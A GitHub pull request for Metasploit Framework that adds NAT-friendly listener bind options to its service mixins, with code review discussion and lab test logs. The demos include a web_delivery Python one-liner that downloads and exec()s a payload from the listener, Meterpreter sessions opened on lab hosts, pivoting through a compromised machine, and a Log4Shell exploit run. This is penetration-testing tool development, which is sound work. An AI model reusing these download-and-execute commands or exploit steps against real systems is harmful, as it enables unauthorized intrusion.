Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update service mixins for NAT options #16250

Merged
merged 9 commits into from
Mar 23, 2022

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Feb 28, 2022

This PR adds capabilities to the service mixins listed below to enable them to start listeners in NATed environments. It does so by adding two new datastore options, ListenerBindAddress and ListenerBindPort. These names are intentionally similar to the ReverseListenerBindAddress and ReverseListenerBindPort options that are registered by the reverse_* handlers1, 2 and the ListenerComm option already registered by the SocketServer.

The ReverseListerBindAddress allows the port on which the handler is bound to be different from that specified in LHOST. When only LHOST is specified, that IP address must be one that the system running the payload can connect to. This isn't feasible if Metasploit is running in a network behind a NAT with a port forwarding configuration. In this scenario, the public IP address specified in LHOST can't be bound to by the handler, so the ReverseListenerBindAddress allows it to be overridden. This PR updates the codebase to apply the same relation between ReverseListenerBindAddress and LHOST to ListenerBindAddress and SRVHOST. It solves the same problem, in the same way, but for modules that need to start listening services such as HTTP, LDAP, SMB, etc. The BindPort options serve the same purpose, allowing the port on which the service is bound to be different from the one the target is connecting to.

The following service listeners were updated as part of this PR:

  • socket_server
    • tcp_server
      • smb/server (no changes necessary, inherited from tcp_server)
      • http_server
      • ftp_server (no changes necessary, inherited from tcp_server)
    • ldap/server
    • dns/server

Messages in the context of a location that targets should connect to (like URLs) were left unchanged. Messages that displayed where the service was listening were updated to use the actual bound address. Any instances that are incorrect should be called out.

Routing

Due to the way in which Metasploit's internal routing table works as provided by Rex::Socket if the ListenerBindAddress is to be routed through a session, then that session will be used as the comm to create the service. This is the exact say way that handlers work. An explicit comm can be specified using the ListenerComm and ReverseListenerComm options for services and handlers respectively.

Demo

The following diagram outlines the topology of the network where 192.168.250.0/24 is the WAN on which the target Ubuntu system is and 192.168.199.0/24 is the LAN on which Metasploit Framework is running. The HTTP service and payload handler services are both running on Metasploit and the router has been configured with a port forward for both. In both cases, the port that is forwarded, is forwarded to the same port on the target, e.g. router:4444 to metasploit:4444.

graph TD
    target-- http request -->rp8888-- via router portfwd -->metasploit
    target-- payload -->rp4444-- via router portfwd -->metasploit

    subgraph wan [WAN 192.168.250.0/24]
    target([target 192.168.250.8])
    end

    subgraph router [router 192.168.250.126 & 192.168.199.1]
    rp4444[192.168.250.126:4444]
    rp8888[192.168.250.126:8888]
    end
    
    subgraph lan [LAN 192.168.199.0/24]
    metasploit([metasploit 192.168.199.3])
    end
Loading

When setting up Metasploit and the exploit/multi/script/web_delivery module, the first attempt that fails shows that the SRVHOST address can not be bound to because 192.168.250.126 is not an IP address on the system where Metasploit is running. The user sets the two necessary options, the new ListenerBindAddress for the HTTP service and the existing ReverseListenerBindAddress for the reverse_tcp payload handler service. With that in place, the module works as intended. In the generated command output, the public address specified by SRVHOST is clearly visible, showing what the target will connect to, while the staus output shows that the TCP handler is running on the private address.

msf6 exploit(multi/script/web_delivery) > show options 

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  192.168.250.126  yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8888             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.250.126  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Python


msf6 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/script/web_delivery) > 
[*] Started reverse TCP handler on 192.168.199.3:4444 
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (192.168.250.126:8888).

msf6 exploit(multi/script/web_delivery) > set ListenerBindAddress 192.168.199.3
ListenerBindAddress => 192.168.199.3
msf6 exploit(multi/script/web_delivery) > set ReverseListenerBindAddress 192.168.199.3
ReverseListenerBindAddress => 192.168.199.3
msf6 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/script/web_delivery) > 
[*] Started reverse TCP handler on 192.168.199.3:4444 
[*] Using URL: http://192.168.250.126/Wg9aLc4
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.250.126:8888/Wg9aLc4', context=ssl._create_unverified_context());exec(r.read());"

msf6 exploit(multi/script/web_delivery) > 
[*] 192.168.250.8    web_delivery - Delivering Payload (501 bytes)
[*] Sending stage (39804 bytes) to 192.168.250.8
[*] Meterpreter session 1 opened (192.168.199.3:4444 -> 192.168.250.8:54566 ) at 2022-02-28 16:07:04 -0500

msf6 exploit(multi/script/web_delivery) > 

Testing

These changes are included in quite a few modules. Anything that starts an HTTP, FTP, LDAP, DNS, or SMB server using the provided mixins will have the new functionality.

  • Test a HTTP module (suggestion: exploit/multi/script/web_deliver)
  • Test a LDAP module (suggestion: exploit/multi/http/log4shell_header_injection)
  • Test a DNS module (suggestion: auxiliary/server/dns/native_server)
  • Test a TCP module

For each of the new modules, they should all continue to work as intended. The ListenerBindAddress and ListenerBindPort options should alter how the socket is bound as visible by netstat or a similar monitoring utility.

Comment on lines +185 to +187
unless ip.nil?
comm = Rex::Socket::SwitchBoard.best_comm(ip)
end
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This avoids a crash if ip is nil which is the case in some unit tests. If the IP is nil, and the comm should be automatically determined, it'll default to local.

@@ -26,7 +26,6 @@ def initialize(info = {})

register_advanced_options(
[
OptString.new('ListenerComm', [ false, 'The specific communication channel to use for this service']),
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This was unnecessary since the same option is inherited by the included SocketServer mixin.

@@ -193,8 +193,9 @@ def on_cred(creds)

def run
@rsock = Rex::Socket::Tcp.create(
'LocalHost' => datastore['SRVHOST'],
'LocalPort' => datastore['SRVPORT'],
'LocalHost' => bindhost,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this might be an existing issue, but are there any limitations with this solution in the scenario of a module wanting to have multiple different services with different bindports? For instance wanting to run an http server as well as an smb server in a module? 🤔

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Comment not specific to this line of code, just an open question 😄

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yes, you're right it's an existing limitation. Hypothetically, if an exploit wanted to start both an HTTP server and an SMB server, that module author would need to decide if the SRVPORT option should correspond to the SMB service, the HTTP service, or neither. Whichever one the SRVPORT is not associated with will need to have its own port datastore option registered to replace SRVPORT and should have another option registered to replace ListenerBindPort too which should be accounted for when the service is started. The way the service is started would also need to be updated to prevent the use of the default SRVHOST/SRVPORT options.

@smashery smashery mentioned this pull request Mar 8, 2022
@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Mar 12, 2022

Edit

Cool, confirmed I was indeed being an idiot - verified a pivoting scenario works as expected for me:

run ReverseListenerComm=-1 ReverseListenerBindAddress=192.168.123.6 lhost=192.168.123.6  lport=5000 ListenerComm=-1 ListenerBindAddress=192.168.123.6

Previous message:

I'm not sure if I'm being an idiot, and this is supposed to work, or if it's a feature request. But I was hoping to be able to use the multi/script/web_delivery module through a compromised host.

So initial lab setup would be msfconsole having an open session between A<->B, and a target C which is only accessible via B

flowchart LR
    A("A\nmsfconsole\n192.168.123.1")
    B("B\ncompromised target\n192.168.123.6")
    C("C\nOther target\n 192.168.123.25")

    A <-->| linux/x64/meterpreter_reverse_tcp\n192.168.123.1:4444| B

    B <-->| | C
Loading

I'd like to spin up the multi/script/web_delivery module on msfconsole on A (192.168.123.1), with the comm set to the compromised target B, and allow C to access the http server through B (192.168.123.6)

So I was hoping to do something along the lines of:

use multi/script/web_delivery
run ReverseListenerComm=-1 ReverseListenerBindAddress=192.168.123.6 ListenerBindAddress=192.168.123.6 lhost=192.168.123.1 srvhost=192.168.123.1

Which would then allow C to access the reverse listener 192.168.123.6:8080 on B, which would proxy the requests to A as expected:

flowchart LR
    A("A\nmsfconsole\n192.168.123.1")
    B("B\ncompromised target\n192.168.123.6\n(Now binding 8080 and 5000)")
    C("C\nOther target\n 192.168.123.25")

    A <-->| linux/x64/meterpreter_reverse_tcp\n192.168.123.1:4444| B

    A <-->| multi/script/web_delivery\n192.168.123.1:8080| B
    A <-->| python/meterpreter/reverse_tcp\n192.168.123.1:5000| B


    B <-->| http://192.168.123.6:8080| C
Loading

Hopefully the visuals make sense🤞

From the TLV logging I see the reverse listener bind address get setup as expected, but not the reverse srv bind address:

msf6 exploit(multi/script/web_delivery) > run ReverseListenerComm=-1 ReverseListenerBindAddress=192.168.123.6 ListenerBindAddress=192.168.123.6 lhost=192.168.123.1 lport=5000 srvhost=192.168.123.1
[*] Exploit running as background job 14.
[*] Exploit completed, but no session was created.

SEND: #<Rex::Post::Meterpreter::Packet type=Request         tlvs=[
  #<Rex::Post::Meterpreter::Tlv type=COMMAND-ID      meta=INT        value=4 command=core_channel_open>
  #<Rex::Post::Meterpreter::Tlv type=REQUEST-ID      meta=STRING     value="30364894712081114997553147866338">
  #<Rex::Post::Meterpreter::Tlv type=CHANNEL-TYPE    meta=STRING     value="stdapi_net_tcp_server">
  #<Rex::Post::Meterpreter::Tlv type=CHANNEL-CLASS   meta=INT        value=1>
  #<Rex::Post::Meterpreter::Tlv type=FLAGS           meta=INT        value=1>
  #<Rex::Post::Meterpreter::Tlv type=unknown-67038   meta=STRING     value="192.168.123.6">
  #<Rex::Post::Meterpreter::Tlv type=unknown-132575  meta=INT        value=5000>
]>
msf6 exploit(multi/script/web_delivery) > 
RECV: #<Rex::Post::Meterpreter::Packet type=Response        tlvs=[
  #<Rex::Post::Meterpreter::Tlv type=UUID            meta=RAW        value="\x1D\xF1-\x86JL\xA3\xAF4[2YVw\x10\x02">
  #<Rex::Post::Meterpreter::Tlv type=COMMAND-ID      meta=INT        value=4 command=core_channel_open>
  #<Rex::Post::Meterpreter::Tlv type=CHANNEL-ID      meta=INT        value=8>
  #<Rex::Post::Meterpreter::Tlv type=REQUEST-ID      meta=STRING     value="30364894712081114997553147866338">
  #<Rex::Post::Meterpreter::Tlv type=RESULT          meta=INT        value=0>
  #<Rex::Post::Meterpreter::Tlv type=unknown-67038   meta=STRING     value="::">
  #<Rex::Post::Meterpreter::Tlv type=unknown-132575  meta=INT        value=5000>
]>

[*] Started reverse TCP handler on 192.168.123.6:5000 via the meterpreter on session 2
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (192.168.123.6:8080).

SEND: #<Rex::Post::Meterpreter::Packet type=Request         tlvs=[
  #<Rex::Post::Meterpreter::Tlv type=COMMAND-ID      meta=INT        value=1 command=core_channel_close>
  #<Rex::Post::Meterpreter::Tlv type=REQUEST-ID      meta=STRING     value="53578819126500520757918238356275">
  #<Rex::Post::Meterpreter::Tlv type=CHANNEL-ID      meta=INT        value=8>
]>

RECV: #<Rex::Post::Meterpreter::Packet type=Response        tlvs=[
  #<Rex::Post::Meterpreter::Tlv type=UUID            meta=RAW        value="\x1D\xF1-\x86JL\xA3\xAF4[2YVw\x10\x02">
  #<Rex::Post::Meterpreter::Tlv type=COMMAND-ID      meta=INT        value=1 command=core_channel_close>
  #<Rex::Post::Meterpreter::Tlv type=CHANNEL-ID      meta=INT        value=8>
  #<Rex::Post::Meterpreter::Tlv type=REQUEST-ID      meta=STRING     value="53578819126500520757918238356275">
  #<Rex::Post::Meterpreter::Tlv type=RESULT          meta=INT        value=0>
]>

@@ -172,19 +158,10 @@ def start_service(opts = {})
print_status("Intentionally using insecure SSL compression. Your operating system might not respect this!")
end

print_status("Using URL: #{proto}://#{srvhost_addr}#{uopts['Path']}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks like the port was dropped here, was that intentional? 👀

[*] Using URL: http://192.168.123.6/R3ieTAhOv

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You're right, that's a mistake. I was intending to leave the port out when it's the default based on the schema like #get_uri does and I got mixed up. Thanks for catching this, fixed in 6e1d369.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this needs fixed still 👀

My lport is 8080 for the web delivery and the port is missing:

[*] Started reverse TCP handler on private_ip:4444 
[*] Using URL: http://public_ip/iXjtZTZH7

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Totally unrelated to this PR, I wish there was an easy way to see all the paths that were registered with the http service manager, or at least see where the web delivery module is running from. It's pretty easy to forget which paths are for what after the console screen's been cleared, and it's not possible to grab the info from the jobs or service manager details from what I can see

msf6 exploit(multi/script/web_delivery) > jobs

Jobs
====

  Id  Name                                Payload                         Payload opts
  --  ----                                -------                         ------------
  2   Exploit: multi/script/web_delivery  python/meterpreter/reverse_tcp  tcp://x.x.x.x:4444
msf6 exploit(multi/script/web_delivery) > _servicemanager 
Services
========

 Id  Name                                                                References
 --  ----                                                                ----------
 0   HTTP Server                                                         2
 1   Rex::Proto::Http::Server8080-x.x.x.x-Rex::Socket::Comm::Local       2

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah it looks like when I rebased, that change was lost. Let me do it again. Re-added in commit ff0ecfa.

@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Mar 14, 2022

I don't believe I'll be able to test the DNS functionality with the recent issues/pull requests for it:

@adfoster-r7 adfoster-r7 self-assigned this Mar 14, 2022
@adfoster-r7
Copy link
Contributor

Potentially pebkac - but it looks like the suggested DNS module doesn't work out of the box yet 👀

Not sure if I need to pull in #16364 - but from the git log, it looks like like the previous DNS fixes were pulled into this PR at least

msf6 auxiliary(server/dns/native_server) > dig -x google.com @127.0.0.1
[*] exec: dig -x google.com @127.0.0.1


[-] Auxiliary failed: Dnsruby::DecodeError requested position of 125 must be between 0 and buffer size (121).
[-] Call stack:
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/decoder.rb:32:in `assert_buffer_position_valid'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/decoder.rb:90:in `get_unpack'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/resource/SOA.rb:89:in `decode_rdata'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/decoder.rb:171:in `block in get_rr'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/decoder.rb:53:in `get_length16'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/decoder.rb:171:in `get_rr'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/message.rb:578:in `block (2 levels) in decode'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/message.rb:577:in `times'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/message.rb:577:in `block in decode'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/decoder.rb:20:in `initialize'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/message.rb:567:in `new'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/message.rb:567:in `decode'
[-]   /home/ubuntu/metasploit-framework/lib/rex/proto/dns/packet.rb:86:in `encode_drb'
[-]   /home/ubuntu/metasploit-framework/lib/rex/proto/dns/packet.rb:31:in `validate'
[-]   /home/ubuntu/metasploit-framework/modules/auxiliary/server/dns/native_server.rb:98:in `on_dispatch_request'
[-]   /home/ubuntu/metasploit-framework/lib/msf/core/exploit/remote/dns/server.rb:119:in `block in start_service'
[-]   /home/ubuntu/metasploit-framework/lib/rex/proto/dns/server.rb:274:in `dispatch_request'
[-]   /home/ubuntu/metasploit-framework/lib/rex/proto/dns/server.rb:350:in `monitor_listener'
[-]   /home/ubuntu/metasploit-framework/lib/rex/proto/dns/server.rb:231:in `block in start'
[-]   /home/ubuntu/metasploit-framework/lib/rex/thread_factory.rb:22:in `block in spawn'
[-]   /home/ubuntu/metasploit-framework/lib/msf/core/thread_manager.rb:105:in `block in spawn'
[-]   /var/lib/gems/2.7.0/gems/logging-2.3.0/lib/logging/diagnostic_context.rb:474:in `block in create_with_logging_context'
[*] Server stopped.


; <<>> DiG 9.16.1-Ubuntu <<>> -x google.com @127.0.0.1
;; global options: +cmd
;; connection timed out; no servers could be reached

@adfoster-r7
Copy link
Contributor

I believe I've configured everything correctly, but it looks like the suggested log4shell module doesn't work for me:

msf6 exploit(multi/http/log4shell_header_injection) > run

[*] Started reverse TCP handler on private_ip:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 127.0.0.1:9001        - Log4Shell found via / (header: X-Api-Version) (java: Oracle Corporation_1.8.0_181)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections

[*] Server stopped.
[+] The target is vulnerable.
[+] Automatically identified vulnerable header: X-Api-Version
[*] Server stopped.
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (public_ip:8080).
[*] Exploit completed, but no session was created.

I verified it works as expected locally before hand:

msf6 exploit(multi/http/log4shell_header_injection) > run http://192.168.123.1:9001 srvhost=192.168.123.1 lhost=192.168.123.1

[*] Started reverse TCP handler on 192.168.123.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 192.168.123.1:9001    - Log4Shell found via / (header: X-Api-Version) (java: Oracle Corporation_1.8.0_181)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[*] Server stopped.
[+] The target is vulnerable.
[+] Automatically identified vulnerable header: X-Api-Version
[*] Serving Java code on: http://192.168.123.1:8080/wSgzGQQJEBC0.jar
[*] Command shell session 2 opened (192.168.123.1:4444 -> 192.168.123.1:56870 ) at 2022-03-21 23:34:52 +0000

And it was tested against a newer version of the vulnerable log4shell app:

docker run -p 9001:8080 -it ghcr.io/christophetd/log4shell-vulnerable-app

I'm guessing it's the custom http server which needs a similar tweak:

# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self
},
opts['Comm'],
datastore['SSLCert']
)

@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Mar 21, 2022

Test a TCP module

Tested a FTP module successfully, although there's really no use of SRVHOST in the FTP modules to verify that behavior. If there's a recommended module to test here, let me know 👍

For another http module I also tested the glue-code of unix/webapp/php_include and the server/payload/handler etc worked as expected

@zeroSteiner
Copy link
Contributor Author

The DNS issue appears to be unrelated. I was able to reproduce it using dig with the -x argument. If you set the STATIC_ENTRIES though and just do a standard forward lookup, it should work. We can open another ticket for that particular bug you found.

@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Mar 22, 2022

I went searching for similar patterns to the ldap code, and it seems like there might be some copy/pasta that we should probably align to use the new pattern - otherwise future folk will copy/paste code from these modules without this new logic present:

comm = datastore['ListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Default the server host / port
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['HTTPPORT'],
'Comm' => comm
}.update(opts)
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self,
},
opts['Comm'],
datastore['SSLCert']
)

comm = datastore['ListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Default the server host / port
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['HTTPPORT'],
'Comm' => comm
}.update(opts)
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self,
},
opts['Comm'],
datastore['SSLCert']
)
@http_service.server_name = datastore['HTTP::server_name']

comm = datastore['ListenerComm']
if comm.to_s == 'local'
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Default the server host / port
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['HTTPPORT'],
'Comm' => comm
}.update(opts)
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self,
},
opts['Comm'],
datastore['SSLCert']
)

There may be other places too.

Potentially the socks_proxy module could be aligned for consistency purposes, particularly for the scenario of using setg to specify SRVHOST/ListenerBindAddress, or when using a single run command with values already filled in for reuse in other modules: run srvhost=... listenerbindaddress=...

Happy for you to declare this out of scope of this particular pull request, just hoping to avoid future copy/pasting issues 😄

@adfoster-r7
Copy link
Contributor

Verified:

@adfoster-r7 adfoster-r7 merged commit 03d6450 into rapid7:master Mar 23, 2022
@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Mar 23, 2022

Release Notes

Adds new ListenerBindPort and ListenerBindAddress options on modules which expose services such as HTTP, SMB, LDAP, FTP, etc. This allows users to specify a separate IP/Port to bind to, in addition to the providing SRVHOST/SRVPORT values. These additional options are useful if Metasploit is running in a network behind a NAT, or when pivoting through a compromised target. The naming convention is similar to the payload options ReverseListenerBindAddress and ReverseListenerBindPort

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants